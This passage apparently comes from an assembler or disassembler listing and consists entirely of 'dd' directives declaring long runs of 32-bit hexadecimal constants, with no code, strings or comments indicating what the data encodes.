0EA3C3EBCh dd 6D038CCCh, 22A9E2h, 0B533F28Eh, 0C86EA5C6h, 2E0A19C0h dd 0AE2B60h, 0E29B7BF0h, 0AAB89606h, 3CF60B00h, 0F5D8A44Fh dd 0C217DEAh, 0FDBC6374h, 7C07DBA0h, 18A03641h, 0DBF00A5Fh dd 5674D931h, 282C44Ch, 19EAC0E2h, 1C0607Ch, 42604974h dd 47685321h, 0CCB476E2h, 0CA619518h, 29840554h, 0B15D3E00h dd 0AF8EDD78h, 38A0A43Ch, 0F938F652h, 0DF5D5105h, 2F6C0372h dd 56B84408h, 4926CE4Ch, 2601746Ah, 0F454581Fh, 255A806Ah dd 350E4DBh, 0F70661ECh, 0F973DADEh, 0C8F0379h, 69645F78h dd 0F0ACB5A0h, 709C8A07h, 0C0CF602Dh, 0AD581827h, 0AFEEA0D4h dd 6046F775h, 6E830CD8h, 0FE5184F1h, 96606090h, 0FC0EEE21h dd 0F92F006Bh, 0D519555Eh, 7309326h, 6EA131FAh, 0F2907D56h dd 314911Dh, 0DFF50B53h, 8056E93Dh, 0DB360EDEh, 0C0D57222h dd 5528F619h, 3200AA60h, 88D0251Bh, 1F220A02h, 0C08BF21Ch dd 7BF68795h, 0C5097120h, 10E149D1h, 0E678C6E4h, 17753C50h dd 0A400523Dh, 3EA25F8Eh, 0C6016D5Ah, 7086F44Dh, 0E460BC6Fh dd 62CD30E4h, 0F3C5E118h, 0F20E9400h, 0C8A236D8h, 0FCC47C48h dd 0D13A03C7h, 0F44C587Fh, 2C493006h, 585084F8h, 0C80C2BF5h dd 6210DCECh, 0CB656707h, 0A383C7E2h, 87C87h, 38CD3C8Fh dd 0D30B40BFh, 6B042000h, 9AE142CBh, 0DE390CEDh, 0BC91F5B8h dd 906E4C07h, 46808F4Fh, 0C0DAD5D4h, 19868E61h, 0D1009CC1h dd 80350831h, 391442Ch, 836F2833h, 0C298CF98h, 51CFC5E4h dd 0AE3BE0E5h, 132ECD44h, 551666h, 79EFF102h, 91098FDAh dd 0C6CAD0h, 0ECB3C4B9h, 0F1416106h, 0DC6E13D2h, 66187109h dd 0BA193177h, 9F4C3C73h, 40CA0D1Ch, 0A5997AEh, 0CF0F3207h dd 0A304A7A5h, 1C3E454h, 0DC6B4389h, 0C0D86142h, 0F30C385Dh dd 0B0214858h, 74AA206Dh, 0BFDBF400h, 0EE2598AFh, 1F5AFE4Eh dd 8D34CAE0h, 0D88195F7h, 77AAACBh, 6EF808A3h, 3674D32Ah dd 0CDD549C6h, 18F33921h, 841E2100h, 2AD8E5B8h, 0F732CE00h dd 0B4A5F02h, 14AE48CCh, 0A01BF581h, 0C72447F9h, 0D508196Fh dd 0C4A340F4h, 31736149h, 73D9D100h, 6FAC2FE4h, 0D4B8004Eh dd 62CBAB8Dh, 3528CDE6h, 0F744F034h, 0AAF03C9h, 0D3D52B6Ch dd 61255101h, 5989845Ah, 0C0FCFCh, 99F21F7Ah, 0BC470881h dd 8D774900h, 0AF42A664h, 7E3800C9h, 0EF3BD0B7h, 0F30066D3h dd 4EDB5789h, 167C19Bh, 0ECA79F2Eh, 0F4D558A9h, 7C038387h dd 2BE20237h, 7416F823h, 0B840C0DAh, 0DF56FA57h, 772D1F0Ch dd 1DA659B5h, 4099B6CAh dd 58714BACh, 8A00C3D4h, 38040F78h, 0E0A65A90h, 3F36063Ch dd 51D637E8h, 86BA6C00h, 2B7F8BE9h, 0A45B30B7h, 6820D018h dd 0BC61C560h, 2C6BAF6h, 0E8819CB4h, 20805731h, 34C4146Bh dd 0B3A2BB02h, 0FF62F0h, 1FF8093Bh, 0D7014A76h, 0BB50CB97h dd 8F709AB7h, 7EAD1844h, 786C61B2h, 0CDAE4700h, 4D39DAD7h dd 0E1C08BD5h, 3420AC14h, 9D31C6C9h, 0CD0021DFh, 0E81431B4h dd 0A38AE92h, 0D5E9BE58h, 77AA91BCh, 8F78CFFEh, 9C0312B0h dd 4A0765FAh, 3C62E887h, 0CF28C3B1h, 0C18873EFh, 7A0F1645h dd 0F57E25D3h, 6AC30088h, 4FDC87E0h, 5A332647h, 80501DE8h dd 9FCB3DE3h, 0E9F6961Eh, 80182500h, 5826A8BCh, 0B7CE0CE4h dd 53493A57h, 103D3C04h, 8384A4C2h, 0BCF0F070h, 52B71458h dd 638FC439h, 26250091h, 642ECFF1h, 0B07130DBh, 0AF7B5B19h dd 9A038926h, 5612F703h, 0F608F0F9h, 800A01DAh, 34E83A33h dd 0DD8986E5h, 59E9BBh, 2702FC47h, 30689F60h, 0C29D581Bh dd 0F6B5B091h, 0D9C4005Ch, 1E3D34D1h, 2272F827h, 0C018C500h dd 54B68977h, 0B1EC671Bh, 8181D814h, 56E88A33h, 18243ECDh dd 2C164820h, 28032CC9h, 7805B932h, 0D67768C7h, 0EA10801Dh dd 2097621Fh, 56005079h, 8581BA3Dh, 21D9B48h, 0C76AB9DCh dd 2846306Dh, 39A85400h, 5359672Dh, 0DC260C9Bh, 0CF29C6BFh dd 0B89044h, 191038D3h, 2783D850h, 0CED1F603h, 0B453142Eh dd 20420082h, 740CECC5h, 3E90CABAh, 0DC249B03h, 12B443B5h dd 2029E850h, 1720F04Ch, 330EDCA6h, 0AC32EBCCh, 52DDE837h dd 5A05C0C3h, 4E3F169Dh, 0B4C36590h, 79054934h, 0D92AE86Dh dd 456F2C48h, 81F00018h, 0FBFD8A5h, 0B7CF89C2h, 4220465Fh dd 0C450014h, 2D665854h, 90CE18E9h, 0F06F59CBh, 768F403h dd 0F8FDA95Ah, 0E2B737DEh, 0E72F07C6h, 0C11918E0h, 8EEEB4DCh dd 1382451h, 0ADE2F64Ah, 3A6DE050h, 0F71A035Dh, 8EB41C69h dd 0EB38022h, 0F64DA5B7h, 0A1435986h, 6269DB03h, 0BFC201EEh dd 32B940EFh, 0B8603079h, 8250BD37h, 0BEB02900h, 7E37F7D5h dd 81E4A223h, 0EC275694h, 17B26A11h, 0E35093C9h, 0DF7DE04Eh dd 0D4FF52BFh, 84D33210h, 1A40FD63h, 9E6B9523h, 66FA9000h dd 0BE60948h, 0C4D51D4Fh, 8FFDC035h, 6A25C9DBh, 0A51AA600h dd 9DE13338h, 8651C023h, 5DD291D9h, 83D48700h, 99AA7BF2h dd 9314995Ch, 0F8980016h, 72F0DE20h, 150095F0h, 0F713E578h dd 0C0A37E52h, 0ABDCAEC9h, 60009B40h, 104B6709h, 75E87605h dd 0D9800136h, 6F67B70h, 255ECC8Ah, 99DF4C00h, 223E3B0Bh dd 48561B27h, 0E3A01946h, 0AF0073A0h, 0BC49D58Ah, 27A6F4h dd 0BBBE956Ch, 0FCD8B759h, 60382600h, 566351F5h, 0C30E2F4h dd 0AB7E6C0Fh, 350E4B99h, 0A148BE85h, 0C4AC28E3h, 88B5C020h dd 7C00FEFBh, 10624A79h, 0CA2AF2h, 0F513FDF3h, 0BEC56E77h dd 8D45CE05h, 0E040257Ah, 0B2ADBBF4h, 0E1F80029h, 233A8A34h dd 14E0E575h, 8E01FE00h, 0E8651644h, 0C9310051h, 8D8109A9h dd 6E0CDDF3h, 110A71BAh, 147E5045h, 0F5DE0341h, 0EC802F64h dd 17714CE7h, 0E21FC97Eh, 25408134h, 39E070D2h, 0B792002Ch dd 5D50AFB2h, 0E006A96h, 2B8133FDh, 2721DC5h, 405176BEh dd 0D4E2FCDEh, 2023FC84h, 1A569D9h, 0D8048031h, 30DEEAAFh dd 861D4FDCh, 4E1227B9h, 80325C08h, 0C97EC0DBh, 0A954774Ch dd 0F000BAA0h, 1B4B1808h, 9CF47Ch, 0B10AAE01h, 545FDA88h dd 0C0B46E58h, 0BAEA3E35h, 10261E43h, 6317411Ch, 0F4E42A93h dd 44003F38h, 47A33154h, 316C241Bh, 7B11D68Ch, 0C342010Ah dd 1A88C7C4h, 8929EBDBh, 5D081460h, 95964D00h, 0A6F6F26Eh dd 917C917Ah, 0FE007FC2h, 0B56C2614h, 0FE046AEDh, 0E44B008Eh dd 5DBCCCBBh, 0E49A9E62h, 39545900h, 8B731D48h, 2A9C018Fh dd 0DBF3D65Ah, 0BE17C8D4h, 0F672860Eh, 8004D631h, 0B704D730h dd 62188858h, 0D6519263h, 0A278D8EBh, 0DAF40708h, 50EAECCAh dd 3E557273h, 7858FB60h, 1FD880CFh, 8124B908h, 485EBCE3h dd 0C19DF0EFh, 90B2C9C0h, 26F45BA7h, 0EF55658h, 276020AEh dd 0C428FB9Bh, 0D471DC29h, 0C5545C00h, 1EA8DA0Ah, 0AE8C9Bh dd 0F16149C7h, 0B5281A30h, 8010943Eh, 0D00F387Ah, 8C6F1354h dd 5D53FA80h, 3A03C4BEh, 2BE838CDh, 7F892EC7h, 1083473Ch dd 0C58ABC37h, 0FBE04E12h, 0EB6CF800h, 4C7D1046h, 5F24C8DCh dd 6FBB0070h, 7F27BF30h, 75413E67h, 5D1A9150h, 162B3CC1h dd 0F57AC082h, 0B091CF05h, 0B9540886h, 14520054h, 0E5254E31h dd 22ECBF5Ch, 8241FE9h, 67C507D7h, 2C8620DEh, 0D1031FC3h dd 78F95290h, 0E06A8FECh, 8143ED64h, 0DCB8BE15h, 2B1338C8h dd 0E0325EB7h, 855196Eh, 9DF70352h, 9CA6EDD3h, 0EE00217Ch dd 0B912D7Fh, 0C70DECh, 0DAB62AABh, 311253D4h, 0F8B1E918h dd 2607D9B8h, 0E1091B9h, 10962A73h, 8858A0ECh, 6D00DC57h dd 45C0C294h, 0F21E5316h, 4C1E8125h, 913F110Ch, 507472B4h dd 631BB855h, 0CC9C085Eh, 3876490Bh, 7DF011h, 7EB1E306h dd 95F33F91h, 31058E03h, 80C725F7h, 24786A37h, 4AE4BEDFh dd 0E2C28C50h, 8703C111h, 9DC9C747h, 6C6100A6h, 0F25F6DC2h dd 0E4F8E09Ah, 0D44319C0h, 1F1F937h, 71992B28h, 211076B9h dd 5F208015h, 0FF8F833Fh, 60C36044h, 0F7D392C2h, 0AA18D90Ah dd 0A3009467h, 3115DA8Fh, 0A050F9EEh, 0A8B16920h, 285612BCh dd 28E11AFCh, 245CECBEh, 3CF625h, 0AFBDF78Ch, 0DA02062Dh dd 0BED88797h, 0E8D44890h, 0B1DC6238h, 0A8A03D7Fh, 0B393C4CBh dd 77018AFEh, 9CAC3649h, 0DD003A2Eh, 69D3F0BCh, 41E53030h dd 0ACE900FAh, 0CB9A6984h, 68079408h, 0F7FC4BF2h, 837F5E10h dd 0F3A8C8DBh, 63C42C4Ah, 448C8h, 0AD14E6C2h, 0DE09190Dh dd 2AC1A5Ch, 0DB657346h, 7CC471h, 1B8CB621h, 0D4C66C77h dd 4CFF8548h, 7C780065h, 20F72493h, 44809460h, 1BCB264h dd 5B5EE85Ah, 218FB4EAh, 608B7F33h, 11D6F883h, 0CEDA0803h dd 98EA5812h, 6062F15Ah, 0DDA9C1E1h, 2407CF25h, 4DE3F60Ch dd 1EAC0049h, 147234ACh, 0B0CE3FE8h, 20742093h, 173B8913h dd 55651D94h, 0F8567B40h, 1EC088Eh, 915B04BDh, 0C84AB416h dd 8315975Fh, 1C0327Ah, 0B3ECF4D7h, 0A4486289h, 80C90087h dd 0B250265Ah, 6A1E231Dh, 4A002BC4h, 1BFC39A2h, 303678B1h dd 0D7915F4Dh, 0B50214FAh, 44802759h, 1A8441Bh, 62211E53h dd 33BFE486h, 84F47D7Ch, 4206300h, 1033B618h, 42F812ADh dd 9A6041D1h, 8253ACD3h, 27473A31h, 2C527Eh, 0DBC65D78h dd 0B1C3851h, 0AC54E4B0h, 1713C5BCh, 0B082F9BCh, 8070086Ch dd 0E6E4603Eh, 0A8001050h, 0B2A47F2Dh, 32AD40Bh, 0A733B7D8h dd 0B8104DBEh, 20483CA2h, 1771713h, 8FD393FCh, 805838BAh dd 44F0F518h, 58590085h, 9FE4C7F6h, 0DB502A83h, 98A04E40h dd 0C8017BBDh, 27023FB3h, 0A07A1FDDh, 3404FCC3h, 0C2DC18CFh dd 4EF6C0A4h, 7D1C4090h, 0D3187B2Dh, 40DBB000h, 1D870B67h dd 6A8C00F6h, 0E12CD829h, 7E4B52B7h, 0A86F0C44h, 32243052h dd 8600F233h, 1C6519FCh, 96BCA27h, 8AE65AFBh, 6D20B080h dd 1CA6D7D3h, 7C459E00h, 4D2A1561h, 0F3BF0199h, 0F56E2508h dd 263838E3h, 3F420496h, 0DAF020D1h, 154CBCC9h, 0EE2D0150h dd 0AFF7B530h, 17B860ECh, 5233A0Bh, 7E730Bh, 1A894E58h dd 0B7005FBAh, 0AED9F3ADh dd 0E4E6B26Fh, 7FF600BBh, 0EFE39F9Ah, 80195E93h, 451094C6h dd 300807EBh, 86F28E20h, 0D30F10C3h, 8CF5EC9h, 0C7A401EBh dd 6006F239h, 9D0017F5h, 0D4333A4Eh, 3CF6DDFh, 19546638h dd 80CC2FAAh, 0E9A1DCCBh, 0A3903499h, 0E2122084h, 69860004h dd 0E6D52AF7h, 641A00D1h, 529A50E9h, 0DE000441h, 82163821h dd 1655C02h, 394A5E08h, 4C721F3Dh, 12007580h, 10040A0Bh dd 0FA4CCA3Eh, 4D020061h, 28BB012Bh, 71EDC2A2h, 94637Ch dd 377E7CACh, 3B252152h, 9580DAF2h, 77C7F851h, 0AE661420h dd 0E9D01861h, 88603C12h, 0E3285ADBh, 6C006CFFh, 34598396h dd 58338124h, 0B526A851h, 0E3A84EDCh, 6800CF93h, 0F627304Dh dd 3470E377h, 62EE40E7h, 0BB29EA61h, 0D9E3B6A4h, 0A431DCFBh dd 403444EAh, 4718C6DEh, 1628FCFFh, 7E010097h, 37846035h dd 0C57BB539h, 8C715000h, 0BBB06C03h, 0B1F30720h, 5014D24Bh dd 0BF5A92D7h, 0B1616B81h, 0DCBC3086h, 0B6F80805h, 1F66BD00h dd 1D636DA0h, 9AEE079Fh, 5007BE53h, 0B13F2979h, 56093118h dd 63D61F30h, 0C3D779A7h, 60265116h, 58D91100h, 7F9202EFh dd 0C9FE0027h, 0B901FCA8h, 5F7A46D4h, 0BC639D19h, 20D23491h dd 6F4DDAECh, 11EA2D16h, 39952D00h, 1C45AD5h, 14DD3F2Fh dd 0E8893A19h, 4400B931h, 545D34E4h, 0FED13Bh, 95A78E11h dd 0A6DEE5C4h, 62FD8C19h, 7C80A569h, 96479DB8h, 3F01E4A2h dd 6EC263F2h, 0D0C07D21h, 0CD4C5850h, 3736C800h, 0B5AE6664h dd 0E4A3CAEEh, 51E3B811h, 103C4912h, 4301A8EEh, 0DDC15BEEh dd 317A101Ch, 0A79B00EBh, 0C639F0E1h, 740012B8h, 0A2375015h dd 60D72F32h, 8828F9C9h, 0E400FE79h, 19F4E30Ah, 0A5309B6h dd 0A69541CBh, 0EB3F8090h, 0BE882E6Fh, 0AFB01C98h, 39490880h dd 3529A860h, 0FC59810Ah, 0C47900C6h, 5D204CA7h, 0FB0060D9h dd 0C913D741h, 6332B13Eh, 66FDB106h, 0F963D900h, 4160E802h dd 0D3703F3h, 1B3BBEC0h, 7AA95AE0h, 44966706h, 7371BA8Eh dd 51530037h, 280EB3CCh, 0CF064C5Ch, 0BEDD5F54h, 86761E61h dd 11041824h, 0D200BF8Ch, 4BF79F90h, 4258B4h, 84014A99h dd 0B14FE8C4h, 0AC526F76h, 0EFD900B8h, 3540145Ch, 394E18CEh dd 637181B2h, 7D1EC60Ch, 1FB0A804h, 0E44F9A2Eh, 0BCAD087Ch dd 44C83F88h, 0C052401Ch, 3FBA70Ch, 0A0FCA667h, 0C1A06A32h dd 0A402F708h, 0B1982C25h, 0E340414Ch, 26ED0C40h, 0BC81C002h dd 0A257E4C4h, 3EFCC0C1h, 618A11F2h, 43CCD91Fh, 3100C4D7h dd 729220BAh, 344713Ah, 0BD59B72Dh, 0B990AF5Bh, 0B05CC33Ch dd 31B13000h, 1D8C244h, 517D77A1h, 40DA45FDh, 0DDC02808h dd 0C15A4B0Fh, 0F15ECCC7h, 7B47E12h, 0A134F2A8h, 0D72420DFh dd 0BE14BAA0h, 86F898D6h, 0A1B339h, 0DB2E0AA7h, 8F13CD47h dd 4068310Fh, 0C233C7F1h, 0F0086E9h, 39EE1469h, 0BF226C94h dd 8C0337E2h, 152E819Eh, 0A0AFE95Ch, 0A1A70880h, 0DA95655Fh dd 1FC7BE0Eh, 0EFB963DDh, 90202A5Bh, 0B1160498h, 81E977D6h dd 41FC66A8h, 0EC9C7A68h, 43070ADEh, 7156B626h, 7A391076h dd 4171F2h, 0AFED0F5h, 0EA3EB14Dh, 9D00C4A4h, 4765980Ch dd 19586E26h, 103A4595h, 0D7B1C7D9h, 0D1699C5Ch, 3ED1B258h dd 63FC0E21h, 0D68A193Dh, 0C50C0174h, 0CB49E4EDh, 0FA3D6CD8h dd 1CFCD128h, 5CC23207h, 0B4539A39h, 0D4084836h, 119840DEh dd 0AF6A353Bh, 0DA0E4D02h, 80D3D126h, 0FC293C20h, 144A32B0h dd 2D42E1C1h, 0EDF0A098h, 192E3Ah, 917FEB7Dh, 5F6A74h dd 56533449h, 0EE5C84EFh, 67FC22h, 0D2EE931h, 0A86D40ADh dd 9AF19E03h, 0E60EDE8Ah, 0C12F148Eh, 0F8D84475h, 9D000537h dd 44BA679Fh, 98D0F21h, 0B8FD0A4h, 11CD9880h, 0F9173695h dd 0CE00D3E0h, 0A39E96B1h, 27DB0245h, 4853029Ch, 6B669860h dd 0DC4D382Ah, 0EB1EED0Ah, 0C08F8CBEh, 0E320187Ah, 2AB98015h dd 243C3948h, 1F86048Ch, 72319FDEh, 0FEAC1E5Ch, 7C019072h dd 9DA00700h, 0D242523Eh, 9FF80908h, 0CD80D97Dh, 9678D0D8h dd 4C19BA00h, 1EEA83B1h, 0C674DDCh, 0F9CAD718h, 393871B5h dd 69380321h, 0D876C126h, 0C4FA7A3Fh, 61A5EA0h, 790ADCh dd 0CB990BD9h, 0C833093h, 867B2C00h, 43D15D5Ch, 7AA81C51h dd 40FB9854h, 65801E18h, 122CB0E0h, 0BCFC22C7h, 14445292h dd 3748396Bh, 2EC009DCh, 19B64C7Fh, 3921FFB2h, 423B1C64h dd 1D22C9h, 33FBF70Fh, 3C5DBAE9h, 588EE48h, 0B89C958Ch dd 4651C026h, 0E542C61h, 8A802429h, 7A826873h, 0DC0200BEh dd 0BDEED6A8h, 0B5016385h, 95D076AEh, 318060FDh, 0BD049833h dd 69006F24h, 97B17EAh, 0FEDDD1h, 0F8B1C187h, 9ED56631h dd 81E8BE48h, 0C60721EAh, 24E8C9A6h, 50822B8h, 5BA5DEDCh dd 667C8C4Ch, 0CA2E2200h, 0B03753BAh, 6A400035h, 0B4823FF3h dd 0CF002725h, 0B62B0AA1h, 7EBF6E4Ah, 87A303BBh, 18667C7Dh dd 78FC1698h, 140D8601h, 10E9B088h, 0F4F8C9F7h, 779C3CC8h dd 0FC3A30FFh, 5D9DDC10h, 0AF80F37Ch, 0ACB8004Fh, 0E8446104h dd 9E00C20Ah, 0F0BB8074h, 66DFE71h, 54196F07h, 290F51F3h dd 0AF73233Ah, 2A9A005Dh, 19ED44Eh, 7FBB0FB1h, 0D4F4AF41h dd 5407312Dh, 90CEF2D3h, 21816Ch, 1DC7772Ch, 55FE0AF6h dd 2768AA07h, 5C10A9DBh, 0AC8A40Fh, 317E968Fh, 5EF90108h dd 83F25DA1h, 0EFD83DB9h, 9B28983Fh, 0B60100E7h, 0B15F17A4h dd 0D4067D7Ah, 0F45DFF41h, 1E200731h, 4CABCACCh, 9F1F0B4Eh dd 6F832BFFh, 916A83EDh, 9D3013F5h, 8A7D0FA9h, 0D58014B2h dd 0FD304318h, 0D69C7703h, 0A0127C42h, 0FE8ADB41h, 0FFAD2A2Fh dd 3B7D0B8Ch, 1B8327D4h, 63C261E6h, 0DC23088Fh, 2873FC14h dd 8FE39F00h, 0D0730D26h, 76FF3057h, 7C0EF8A9h, 0DB2B430Eh dd 19FB2CADh, 0AC6B38F9h, 7408A0F4h, 210C00C3h, 1ED49C03h dd 9D1856A2h, 33494A9Eh, 0E50C1C45h, 0F6CEC0F5h, 0C5802EC9h dd 0E47A500h, 0D69D236Ah, 488E0079h, 2421060Ch, 19607AFFh dd 839EDC41h, 0CBDA1E88h, 0C65F52h, 0F76C846Eh, 89DDE97Ah dd 80FBB28Ah, 0E1F1158Ch, 0AC1F00B6h, 79661738h, 0C28333Bh dd 7304904Ch, 0D1DF28E0h, 79140850h, 0F70A1451h, 830FC7Bh dd 98AFEBCh, 0A30EB8C6h, 46F1A40Ah, 498DDB80h, 0C8601F5h dd 53276BD5h, 0B83180ECh, 0E9D0E15Dh, 1E001FEh, 9863BECDh dd 6C21C809h, 0F4999E04h, 0F050F6B3h, 0D7767901h, 406370ADh dd 433D5390h, 6DD9F560h, 0E7B0929h, 39BBDCF0h, 0F7D31998h dd 84E8BF29h, 0D40A15h, 0F2135180h, 0FA7522h, 0C078E521h dd 0F0A93F37h, 50B54F0Eh, 0EEFBBF91h, 9045EEF1h, 0F7901A00h dd 0C4740794h, 19384030h, 12833E3Bh, 187D18FDh, 0B280394Ch dd 8510C11Dh, 0F500891Dh, 0FAA17577h, 0F7EB2A38h, 63F002Ch dd 8466F1FBh, 1806CD6Fh, 47BD75A7h, 7B640721h, 0B30BDD08h dd 0C8BC6655h, 35004324h, 10F1C5FDh, 12077725h, 4C03DD20h dd 0E116090h, 54753D88h, 605D90F9h, 0D897A9F1h, 0E801F0D1h dd 117CF740h, 6080BBD9h, 7E10C9B3h, 36517D66h, 0F949306Ch dd 0A0A87765h, 2706DA00h, 0DB846Fh, 8519CCB3h, 1B05E77Ah dd 71FAFF37h, 0C3B7E53h, 75AE77D1h, 12007F40h, 0C7AB2130h dd 1FB62F47h, 408B15BCh, 7D689475h, 2B0067B1h, 3C84CF0Bh dd 6191FE4Eh, 8FAD4948h, 5D72D8A2h, 269B5A00h, 54E1210Ah dd 5ED8F7D9h, 78B601ECh dd 7BFF7C63h, 533992D3h, 9DDE0C20h, 9F886h, 1390DFACh dd 0A42B020Dh, 0D589AF01h, 1070F65Dh, 4D408C20h, 711C7C41h dd 28086AAEh, 6384A669h, 0C6B0613Fh, 862BB380h, 8099F21Dh dd 0CE30A02h, 6C948044h, 98B81D07h, 46D63814h, 91D55502h dd 0D408FD92h, 91F90B08h, 0BB0506F7h, 0EA64DA0h, 46306588h dd 6C38E8EFh, 0B77429D6h, 0E5907C07h, 334734A5h, 0C1D06B75h dd 4C83D0C0h, 0AE034CA4h, 0A18CA52h, 8D47FFC0h, 81D59E03h dd 261630D3h, 39377578h, 2E10E08Ah, 78606E98h, 0C18338A1h dd 64FDDC1Ch, 0D426002h, 0E0804025h, 58D2283Bh, 329E0090h dd 65B9C37Ah, 9F0B75C2h, 0E0EEF8h, 836F3F44h, 150C058Ch dd 9CC9B0B6h, 75000590h, 0BDCEC790h, 14BBD2h, 0CA503359h dd 3CBAB01Dh, 0B87508A0h, 7DDC14A0h, 9E163D01h, 0BB1ED349h dd 4EC7F20h, 7E717BDBh, 80BC831Dh, 818305C0h, 0AEE6DA7Ch dd 22C83349h, 87C7004Bh, 0F59455E1h, 0FF75216Fh, 0ADA22500h dd 0B905AF89h, 0F6192C42h, 0F7F50168h, 9DF0F9B8h, 12FA2DB9h dd 7C217342h, 3D11497Ch, 0C7C02276h, 6DB0A82Dh, 176C9DFh dd 0F089CE14h, 6061EA7Ah, 0C722F4F4h, 79F718F8h, 528D39E6h dd 70FB3426h, 20000B91h, 72662D5Dh, 0CF00C089h, 0E7296786h dd 13A5DBh, 500BE67Eh, 0EF0C713Fh, 0FAF7DD1Ah, 4F008251h dd 0E0182714h, 907D0AB3h, 0FF040E01h, 7FF73E4Eh, 0BD210463h dd 828E748Bh, 82137B50h, 66F5C510h, 6B7303E4h, 0DB3A567Ch dd 721CCCC5h, 0EEAD8700h, 56443762h, 0D1B028Eh, 703DF1CFh dd 82582064h, 45C4507Ch, 5B2D105h, 50C071E6h, 6E4469h dd 0D07779C5h, 0FDFBBCEBh, 0DC226316h, 35D88030h, 48A3F288h dd 0D8B6C406h, 6421E645h, 24ACAFE0h, 1FCC30B1h, 640220EBh dd 9448C4B2h, 7ACA8053h, 2E561CA4h, 40241502h, 5D78892Ah dd 6A084D75h, 4045C1F4h, 31A212BBh, 1D87EF02h, 853ABAB2h dd 0CFF7D08h, 1949FD40h, 18C5D400h, 0F2D573DCh, 0A22A00B0h dd 34D6C6A6h, 0FC03623Dh, 24CB4616h, 8B25B04Ch, 45DD0B0Dh dd 0EC006423h, 2133E0A4h, 41516600h, 0D54CD224h, 8200B843h dd 14A80808h, 9BB08E0Bh, 0E47F8AD4h, 0F1532A5Ch, 441C03E4h dd 9C13B68Bh, 3A9B1BB8h, 22AA5917h, 713DD861h, 0DAC06032h dd 0FE4083E8h, 6256CB02h, 80F9CDDCh, 0A97C89FFh, 0C42B48D2h dd 783D127Ah, 684C42D3h, 884184C0h, 734073D1h, 0A8F61588h dd 21C7A98h, 345F8730h, 38C03323h, 0F4A005E8h, 0F1EEF776h dd 0C3904C91h, 0FE180897h, 246E8BBBh, 821898DCh, 34DE0021h dd 0D8642B2Fh, 75003EF4h, 0BDE8B2CBh, 204554Fh, 1D1A76AEh dd 0C4689DD9h, 912C7CF0h, 0DC01D5E5h, 84FA39B9h, 142216E5h dd 20D7E800h, 421104CCh, 220DCF2h, 4871091Eh, 2C44B2D8h dd 9E7A6A3Fh, 0AAC37723h, 0E291ACEDh, 402C58A8h, 0F5605D78h dd 9B0DAF31h, 906C00B5h, 50E3A885h, 2B008415h, 4FCB12AAh dd 1C72CC52h, 803A6E20h, 661BBBB3h, 0AB008BD9h, 8A5B46D4h dd 7CE6D07Bh, 3C10007Dh, 62B0FC9Dh, 20906C5Ah, 0D101E3F0h dd 0D673D502h, 8429EA3h, 0F318C143h, 0F0A9CF11h, 7300CBE6h dd 0F90FA20Dh, 14B9AED5h, 871186FAh, 2CC87E24h, 0AC84ADCh dd 916CF9B0h, 0A8EE00F4h, 0A52F5630h, 521A0055h, 0F55BFBCDh dd 250C73C1h, 8032AA1h, 839E04DBh, 88793CACh, 9B007510h dd 0D90CAD19h, 0EE6D5BDBh, 0AA7EEBCh, 0FA411706h, 50970314h dd 3B91B2DCh, 40BFE116h, 83F70F08h, 1891EA60h, 0D8F81464h dd 52067E39h, 59C76B00h, 8EBB3DCh, 19D33B30h, 0FCF14A09h dd 0C2D4AC05h, 0A0E1752Fh, 5BB1D73Ch, 4DC831DBh, 91618980h dd 65C02030h, 0E7589Dh, 0AF59EBE1h, 8EA13AD8h, 5675150Bh dd 0B8C88866h, 0D46EAC9Ch, 0A5105F4Fh, 40706D80h, 712CC4D8h dd 0FC40585Ch, 7847B97Bh, 98DC707Fh, 504003D4h, 0DA8783ABh dd 0A2B974C0h, 61747E6h, 814C86Dh, 0F7F00668h, 5279EEBFh dd 0A6008415h, 57483ECEh, 590068B4h, 1846990Bh, 255B71C5h dd 2412357Dh, 0F5778F83h, 0DD1060FFh, 0C54793Dh, 744CFF80h dd 1ABCB040h, 1FD81CEAh, 77F20E2Fh, 737D7C20h, 2949C9DCh dd 0D8201EA0h, 38BA9C85h, 0EBC7448h, 3013DD28h, 5B3E09B4h dd 49957400h, 8A041FABh, 4D202552h, 0EFA8AC8Fh, 3D489194h dd 1AE2808Fh, 0EB7F573Eh, 39E6757Ch, 0BA00507Eh, 0A9AAA4E7h dd 0C7004755h, 88E8FBEh, 1F776649h, 0C3B972B3h, 64225EFEh dd 0BCF0ABC0h, 7971147Eh, 90448603h, 0C073490Ah, 1C74877Fh dd 833C519Ah, 0B212BCFBh, 0F0B167E1h, 74B0A78Ah, 25B42E02h dd 64C7F7D3h, 0A2043A64h, 641CB2AEh, 40802274h, 482A616Bh dd 0E00B4BBh, 20EA0825h, 1700851Fh, 0D4A1E98Dh, 0ED0A41Eh dd 4C47062Ch, 0F9DDBCA0h, 75002BAEh, 1E811DA1h, 1E8FCA46h dd 41A4D10Eh, 7DFF9678h, 83583831h, 0A02471B2h, 98AC9175h dd 0BBF72E11h, 43CB621Ch, 470EA45Ah, 605DC90Ch, 6CD24CD5h dd 299113A1h, 0B5F48001h, 9E007418h, 8AA39D51h, 985B7508h dd 80F84848h, 77A4C1E7h, 8C404E5h, 4E3DB8A4h, 68204F7Dh dd 5498C62Bh, 0AE0411AFh, 0DA8DE851h, 9601A0B0h, 3D1860ECh dd 85266D4Fh, 0C4A8F0DAh, 0C266573Ch, 0FD374300h, 2510C1C5h dd 8247DC07h, 0D6805EF5h, 2E21941h, 0D83787D5h, 0CD179CEh dd 69EB5D8Ch, 0F96031Eh, 0B9116645h, 58553890h, 0A77A6400h dd 0F1FB834Ah, 71CA049Dh, 8C3A7D5Ah, 0F87C7AACh, 0D8F78701h dd 0F9BD22F0h, 5C04898Bh, 31D18410h, 0C2440D00h, 666D7273h dd 3E0E0571h, 0C1A74BC6h, 6024C17Ch, 40563A0h, 81F57A37h dd 4CB475C4h, 0B103F43Dh, 0FF11F4h, 556033D1h, 58F76A9Ah dd 939D4C75h, 0C6CCD7B3h, 79F83982h, 28805052h, 4CA8B875h dd 53C4435h, 1401F811h, 0D963E0B8h, 0C04029D4h, 16BC2352h dd 62063632h, 0E0D57520h, 3C0EC8CEh, 9028033Bh, 0F4045D08h dd 0DCD38181h, 86782C1Bh, 0E889FDA3h, 4C43F265h, 0C7029CA5h dd 45E01F76h, 0A49800C2h, 4D2E6AB0h, 7B8898F1h, 4377823Bh dd 0A070FD58h, 0F43F8428h, 80791CA1h, 7BD5FC61h, 0C10C42AFh dd 7CFFFD58h, 63905084h, 0BAEA4CCBh, 987E49Eh, 7E42A333h dd 6C9CA7C4h, 0F0FAB760h, 58455CE3h, 192C94C0h, 0EE077F80h dd 0A4E626ACh, 0D4E7B4C0h, 25651E9Ah, 7700D92h, 